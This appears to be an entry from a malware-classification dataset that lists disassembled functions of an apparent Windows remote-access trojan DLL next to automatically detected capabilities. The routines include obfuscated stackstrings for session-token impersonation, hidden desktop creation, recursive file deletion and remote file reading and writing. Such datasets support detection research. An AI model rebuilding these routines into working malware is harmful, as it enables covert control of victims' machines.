joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006b80
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002f473
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10038654]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov dword [edi], vtable.CManager.0
mov dword [edi + 4], ecx
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push edi
call edx
xor ebx, ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov dword [edi + 8], ebx
mov dword [ebp - 4], ebx
mov dword [edi], vtable.CFileManager.0
push 0x24
mov dword [edi + 0x20], ebx
call fcn.10018832
add esp, 4
cmp eax, ebx
je 0x10006d46
mov dword [edi + 0x1c], eax
mov dword [eax], eax
mov eax, dword [edi + 0x1c]
mov dword [eax + 4], eax
mov byte [ebp - 4], 1
mov eax, dword [0x1003aec8]
cmp eax, ebx
jne 0x10006c25
push 0xc
call fcn.10018832
add esp, 4
cmp eax, ebx
je 0x10006c1e
mov byte [eax], 0x64
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
jmp 0x10006c20
xor eax, eax
mov dword [0x1003aec8], eax
push 6
mov esi, eax
mov dword [eax + 8], 6
call fcn.1001721c
add esp, 4
mov dword [esi + 4], eax
cmp eax, ebx
je 0x10006c54
mov ecx, dword [str.master]
mov dword [eax], ecx
mov dx, word [0x10033c60]
mov word [eax + 4], dx
jmp 0x10006c61
push str.setSignAndKey_Failed__n
call fcn.10016500
add esp, 4
push 0x208
mov byte [esi], 0x64
lea esi, [edi + 0x66c]
push ebx
push esi
call fcn.1001caf0
add esp, 0xc
call fcn.100091b0
push 0x10000000
push 1
push ebx
push esi
call dword [sym.imp.USER32.dll_OpenDesktopW]
mov dword [edi + 0x874], eax
cmp eax, ebx
jne 0x10006cad
push ebx
push 0x10000000
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.USER32.dll_CreateDesktopW]
mov dword [edi + 0x874], eax
mov eax, dword [edi + 0x874]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push 0x40000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi + 0x18], eax
lea eax, [edi + 0x28]
push eax
mov dword [eax], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
or eax, 0xffffffff
push 0x410
mov dword [edi + 0x30], eax
mov dword [edi + 0x34], eax
mov dword [edi + 0x2c], 0x22
mov byte [edi + 0x248], bl
mov dword [edi + 0x24c], ebx
mov dword [edi + 0x250], ebx
mov dword [edi + 0x254], ebx
mov dword [edi + 0x87c], ebx
mov dword [edi + 0x880], ebx
mov dword [edi + 0x878], ebx
call fcn.1001721c
add esp, 4
push edi
mov dword [edi + 0x8d0], eax
call fcn.10007d80
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x10], ebx
call fcn.10018676
push 0x10035ae4
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 0x1c], vtable.std::bad_alloc.0
call fcn.1001a8b4
int3
Function at 0x10007a00
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10035bc0
push 0x10020a30
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10038654]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, ecx
mov dword [ebp - 4], 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.1001879e
add esp, 4
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x10007b7d
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp word [edi], 0x5c
jne 0x10007ac7
cmp word [edi + 2], 0x5c
jne 0x10007ac7
lea esi, [edi + 2]
mov dword [ebp - 0x1c], esi
add esi, 2
mov dword [ebp - 0x1c], esi
movzx eax, word [esi]
test ax, ax
je 0x10007a9b
cmp eax, 0x5c
je 0x10007a9b
push esi
call dword [sym.imp.USER32.dll_CharNextW]
mov esi, eax
jmp 0x10007a80
cmp word [esi], 0
je 0x10007aa7
add esi, 2
mov dword [ebp - 0x1c], esi
movzx eax, word [esi]
test ax, ax
je 0x10007abf
cmp eax, 0x5c
je 0x10007abf
push esi
call dword [sym.imp.USER32.dll_CharNextW]
mov esi, eax
jmp 0x10007aa4
cmp word [esi], 0
je 0x10007aed
jmp 0x10007ae7
cmp word [edi + 2], 0x3a
jne 0x10007aed
lea esi, [edi + 2]
mov dword [ebp - 0x1c], esi
add esi, 2
mov dword [ebp - 0x1c], esi
movzx eax, word [esi]
test ax, ax
je 0x10007aed
cmp eax, 0x5c
jne 0x10007aed
add esi, 2
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
movzx eax, word [esi]
test ax, ax
je 0x10007b44
cmp eax, 0x5c
jne 0x10007b36
xor ecx, ecx
mov word [esi], cx
push edi
call ebx
cmp eax, 0xffffffff
jne 0x10007b2a
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x10007b2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10007b2e
push edi
jmp 0x10007b75
test al, 0x10
je 0x10007b27
mov edx, 0x5c
mov word [esi], dx
push esi
call dword [sym.imp.USER32.dll_CharNextW]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10007af3
mov dword [ebp - 4], 0xfffffffe
push edi
call fcn.10018764
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.10018764
add esp, 4
mov dword [ebp - 4], 0xfffffffe
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007ba0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x10038654]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x34], 0x4e52454b
mov dword [ebp - 0x30], 0x32334c45
mov dword [ebp - 0x2c], 0x6c6c642e
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x80], 0x47535457
mov bl, 0x65
mov dword [ebp - 0x7c], 0x63417465
mov dword [ebp - 0x78], 0x65766974
mov dword [ebp - 0x74], 0x736e6f43
mov dword [ebp - 0x70], 0x53656c6f
mov dword [ebp - 0x6c], 0x69737365
mov dword [ebp - 0x68], 0x64496e6f
mov byte [ebp - 0x64], 0
call esi
xor edi, edi
cmp eax, edi
jne 0x10007c26
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, edi
je 0x10007c39
lea edx, [ebp - 0x80]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x88], eax
jmp 0x10007c3f
mov dword [ebp - 0x88], edi
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x41535457
mov dword [ebp - 0x10], 0x32334950
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
mov dword [ebp - 0x48], 0x51535457
mov byte [ebp - 0x44], 0x75
mov byte [ebp - 0x43], bl
mov dword [ebp - 0x42], 0x73557972
mov byte [ebp - 0x3e], bl
mov dword [ebp - 0x3d], 0x6b6f5472
mov byte [ebp - 0x39], bl
mov word [ebp - 0x38], 0x6e
call esi
cmp eax, edi
jne 0x10007c98
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, edi
je 0x10007ca5
lea edx, [ebp - 0x48]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0x41564441
mov dword [ebp - 0x20], 0x32334950
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], 0
mov word [ebp - 0x60], 0x6d49
mov byte [ebp - 0x5e], 0x70
mov byte [ebp - 0x5d], bl
mov dword [ebp - 0x5c], 0x6e6f7372
mov word [ebp - 0x58], 0x7461
mov byte [ebp - 0x56], bl
mov dword [ebp - 0x55], 0x67676f4c
mov byte [ebp - 0x51], bl
mov dword [ebp - 0x50], 0x556e4f64
mov byte [ebp - 0x4c], 0x73
mov byte [ebp - 0x4b], bl
mov word [ebp - 0x4a], 0x72
call esi
test eax, eax
jne 0x10007d11
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10007d1e
lea edx, [ebp - 0x60]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x10007d20
xor eax, eax
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x84], 0
test ecx, ecx
je 0x10007d63
test edi, edi
je 0x10007d63
test eax, eax
je 0x10007d63
call ecx
lea ecx, [ebp - 0x84]
push ecx
push eax
call edi
test eax, eax
je 0x10007d63
mov eax, dword [ebp - 0x84]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100180fb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.100180fb
mov esp, ebp
pop ebp
ret
Function at 0x10008280
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
mov eax, dword [0x10038654]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x208
lea eax, [ebp - 0x43c]
push 0
push eax
mov dword [ebp - 0x694], ecx
call fcn.1001caf0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [esi + eax*2 - 2], 0x5c
mov edi, 0x10033c94
jne 0x100082ce
mov edi, 0x10033c00
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push esi
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x43c]
push ecx
mov dword [ebp - 0x28], 0x730025
mov dword [ebp - 0x24], 0x730025
mov dword [ebp - 0x20], 0x2e002a
mov dword [ebp - 0x1c], 0x2a
call ebx
add esp, 0x10
lea edx, [ebp - 0x68c]
push edx
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x690], eax
cmp eax, 0xffffffff
jne 0x10008336
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100180fb
mov esp, ebp
pop ebp
ret 4
xor ecx, ecx
mov dword [ebp - 0x18], 0x730025
mov dword [ebp - 0x14], 0x730025
mov dword [ebp - 0x10], 0x730025
mov word [ebp - 0xc], cx
cmp word [ebp - 0x660], 0x2e
je 0x100083f3
test byte [ebp - 0x68c], 0x10
je 0x10008395
lea edx, [ebp - 0x660]
push edx
push edi
push esi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x234]
push ecx
call ebx
mov ecx, dword [ebp - 0x694]
add esp, 0x14
lea edx, [ebp - 0x234]
push edx
call fcn.10008280
jmp 0x100083f3
lea eax, [ebp - 0x660]
push eax
push edi
push esi
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x234]
push edx
call ebx
add esp, 0x14
test byte [ebp - 0x68c], 1
je 0x100083c9
push 0x80
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 0x694]
cmp byte [ecx + 0x248], 0
je 0x100083e6
lea edx, [ebp - 0x234]
push edx
call fcn.10009950
jmp 0x100083f3
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x690]
lea ecx, [ebp - 0x68c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10008351
mov eax, dword [ebp - 0x690]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, dword [ebp - 8]
test eax, eax
pop edi
setne al
pop esi
xor ecx, ebp
pop ebx
call fcn.100180fb
mov esp, ebp
pop ebp
ret 4
Function at 0x10008440
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x208
lea esi, [ebx + 0x38]
push 0
push esi
mov edi, eax
call fcn.1001caf0
push edi
push 0x104
push esi
call fcn.100189a4
mov eax, dword [ebx + 0x30]
add esp, 0x18
cmp eax, 0xffffffff
je 0x1000847c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 1
push connect
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
lea edx, [ebp - 4]
push edx
push eax
mov dword [ebx + 0x30], eax
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 0xb]
push eax
push 0x40
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov eax, dword [ebp + 8]
push eax
push 0
push esi
call fcn.1001caf0
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov byte [esi], 0x23
mov ecx, dword [ebp - 4]
add esp, 0xc
push edi
mov dword [esi + 1], ecx
mov dword [esi + 5], edx
mov dword [esi + 9], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esi + 9]
push edi
push edx
call fcn.1001add0
xor edi, edi
add esp, 0xc
cmp dword [ebx + 8], edi
jne 0x1000851f
mov ecx, dword [ebx + 4]
mov edx, dword [ebp + 8]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
push edx
push esi
call eax
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10008540
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [esi], 0xffffffff
push edi
mov edi, eax
jne 0x10008552
cmp dword [esi + 4], 0xffffffff
je 0x100085c4
mov eax, dword [esi + 4]
mov ecx, dword [edi + 0x30]
push 0
push esi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [edi + 0x18]
mov dword [ebp - 4], 0
mov byte [edx], 0x24
mov eax, dword [edi + 0x18]
mov ecx, dword [esi]
mov dword [eax + 1], ecx
mov edx, dword [esi + 4]
mov dword [eax + 5], edx
mov ecx, dword [esi + 8]
push 0
mov dword [eax + 9], ecx
mov eax, dword [edi + 0x18]
mov ecx, dword [edi + 0x30]
lea edx, [ebp - 4]
push edx
push 0x3fff7
add eax, 9
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 4]
test eax, eax
je 0x100085c4
cmp dword [edi + 8], 0
jne 0x100085c9
mov ecx, dword [edi + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
add eax, 9
push eax
mov eax, dword [edi + 0x18]
push eax
call edx
pop edi
mov esp, ebp
pop ebp
ret
call fcn.100085d0
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10008ce0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10038654]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
mov edi, ecx
mov eax, dword [edi]
mov edx, dword [edi + 4]
push 0
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 0x34]
push edx
push eax
call ebx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 0x34]
push 0
lea ecx, [ebp - 0x18]
push ecx
add edx, 0xfffffff8
push edx
add edi, 8
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi + 0x34]
push 1
lea ecx, [ebp - 0x14]
push ecx
push 0
push edx
mov dword [ebp - 0x14], 0
call ebx
cmp dword [esi + 8], 0
mov ecx, dword [ebp - 0x14]
pop edi
mov byte [ebp - 0x10], 0x34
mov dword [ebp - 0xf], ecx
mov dword [ebp - 0xb], eax
pop ebx
jne 0x10008d64
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 9
lea eax, [ebp - 0x10]
push eax
call edx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100180fb
mov esp, ebp
pop ebp
ret 4

Function at 0x10008d80
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call fcn.1001caf0
mov ecx, dword [ebp + 8]
add esp, 0xc
lea edx, [ebp - 0x3c]
push edx
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], str.WinRAR
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10008dfd
mov eax, dword [ebp - 4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi + 8], 0
mov byte [ebp + 8], 0x30
jne 0x10008dfd
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 1
lea eax, [ebp + 8]
push eax
call edx
mov esp, ebp
pop ebp
ret 4
Function at 0x10009160
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0
push 0
push ebx
push 0x100090d0
push 0
mov esi, eax
mov dword [ebx + 0x254], 0
lea edi, [ebx + 0x258]
mov ecx, 0x105
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
mov dword [ebx + 0x250], eax
pop ebx
pop ebp
ret 4

Function at 0x100091b0
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x10038654]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x208
lea ecx, [ebp - 0x220]
push ecx
mov word [ebp - 0x14], ax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov dword [ebp - 0x234], eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x100091fe
mov edx, 0x43
mov word [ebp - 0x220], dx
mov ax, word [ebp - 0x220]
mov word [ebp - 0x14], ax
xor eax, eax
push eax
push eax
push eax
push eax
lea ecx, [ebp - 0x234]
push ecx
push eax
push eax
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x12], 0x5c003a
mov word [ebp - 0xe], ax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov eax, dword [ebp - 0x234]
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov ecx, eax
imul eax, eax, 0x14a30b
sub eax, 0x69427551
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov dx, ax
imul eax, eax, 0x14a30b
sub eax, 0x69427551
imul eax, eax, 0x14a30b
sub eax, 0x69427551
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov byte [ebp - 0x226], al
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov byte [ebp - 0x225], al
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov byte [ebp - 0x224], al
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov byte [ebp - 0x223], al
imul eax, eax, 0x14a30b
sub eax, 0x69427551
imul eax, eax, 0x14a30b
sub eax, 0x69427551
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x226]
push eax
movzx edx, dx
push edx
push ecx
push str._08lX_04lX_lu
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x14
call fcn.100180fb
mov esp, ebp
pop ebp
ret
Function at 0x10009630
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002f4f6
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x10038654]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push esi
lea eax, [ebp - 0x218]
push 0x208
push eax
call fcn.10019428
add esp, 0xc
push 0x10033cf8
lea ecx, [ebp - 0x218]
push 0x208
push ecx
call fcn.10019571
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x218]
mov dword [ebp - 0x23c], 0xf
mov dword [ebp - 0x240], ebx
mov byte [ebp - 0x250], bl
lea edx, [eax + 1]
jmp 0x100096b0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100096b0
sub eax, edx
push eax
lea edx, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x250]
call fcn.1000c5a0
mov dword [ebp - 4], ebx
mov eax, esi
mov dword [ebp - 0x220], 0xf
mov dword [ebp - 0x224], ebx
mov byte [ebp - 0x234], bl
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100096f0
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x234]
call fcn.1000c5a0
mov byte [ebp - 4], 1
mov eax, dword [0x1003aec8]
cmp eax, ebx
jne 0x10009733
push 0xc
call fcn.10018832
add esp, 4
cmp eax, ebx
je 0x1000972c
mov byte [eax], 0x64
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
jmp 0x1000972e
xor eax, eax
mov dword [0x1003aec8], eax
lea ecx, [ebp - 0x250]
push ecx
lea edx, [ebp - 0x234]
call fcn.10012770
cmp dword [ebp - 0x220], 0x10
jb 0x1000975d
mov edx, dword [ebp - 0x234]
push edx
call fcn.100180f0
add esp, 4
cmp dword [ebp - 0x23c], 0x10
mov dword [ebp - 0x220], 0xf
mov dword [ebp - 0x224], ebx
mov byte [ebp - 0x234], bl
jb 0x1000978b
mov eax, dword [ebp - 0x250]
push eax
call fcn.100180f0
add esp, 4
push esi
call fcn.10019076
add esp, 4
push esi
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100180fb
mov esp, ebp
pop ebp
ret
Function at 0x100097c0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002f4f6
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x10038654]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push esi
lea eax, [ebp - 0x218]
push 0x208
push eax
call fcn.10019428
add esp, 0xc
push 0x10033cf8
lea ecx, [ebp - 0x218]
push 0x208
push ecx
call fcn.10019571
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x218]
mov dword [ebp - 0x23c], 0xf
mov dword [ebp - 0x240], ebx
mov byte [ebp - 0x250], bl
lea edx, [eax + 1]
jmp 0x10009840
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10009840
sub eax, edx
push eax
lea edx, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x250]
call fcn.1000c5a0
mov dword [ebp - 4], ebx
mov eax, esi
mov dword [ebp - 0x220], 0xf
mov dword [ebp - 0x224], ebx
mov byte [ebp - 0x234], bl
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10009880
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x234]
call fcn.1000c5a0
mov byte [ebp - 4], 1
mov eax, dword [0x1003aec8]
cmp eax, ebx
jne 0x100098c3
push 0xc
call fcn.10018832
add esp, 4
cmp eax, ebx
je 0x100098bc
mov byte [eax], 0x64
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
jmp 0x100098be
xor eax, eax
mov dword [0x1003aec8], eax
lea ecx, [ebp - 0x250]
push ecx
lea edx, [ebp - 0x234]
call fcn.100128e0
cmp dword [ebp - 0x220], 0x10
jb 0x100098ed
mov edx, dword [ebp - 0x234]
push edx
call fcn.100180f0
add esp, 4
cmp dword [ebp - 0x23c], 0x10
mov dword [ebp - 0x220], 0xf
mov dword [ebp - 0x224], ebx
mov byte [ebp - 0x234], bl
jb 0x1000991b
mov eax, dword [ebp - 0x250]
push eax
call fcn.100180f0
add esp, 4
push esi
call fcn.10019076
add esp, 4
push esi
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100180fb
mov esp, ebp
pop ebp
ret
Function at 0x10009950
Capabilities:
Create directory
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor eax, eax
push edi
push 0x410
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
call fcn.1001721c
push 0x410
mov ebx, eax
call fcn.1001721c
push 0x410
mov esi, eax
call fcn.1001721c
push 0x410
mov edi, eax
call fcn.1001721c
push 0x410
mov dword [ebp - 4], eax
call fcn.1001721c
add esp, 0x14
push ebx
push 0x208
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.100193f5
call fcn.10019407
push eax
push ebx
lea ecx, [eax + 1]
push 0x10033c98
push esi
mov dword [ebp - 0xc], ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea edx, [ebp - 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x10033cfc
push esi
push 0x10033ce4
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
push ecx
push edi
push str._s_d
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
add esp, 0x10
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push edx
push esi
push str._s_d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 8]
add esp, 0x10
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test ebx, ebx
je 0x10009a7e
push ebx
call fcn.10018bf7
add esp, 4
test esi, esi
je 0x10009a8b
push esi
call fcn.10018bf7
add esp, 4
test edi, edi
je 0x10009a98
push edi
call fcn.10018bf7
add esp, 4
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
test eax, eax
je 0x10009aab
push eax
call fcn.10018bf7
add esp, 4
mov eax, dword [ebp - 8]
test eax, eax
je 0x10009abb
push eax
call fcn.10018bf7
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 4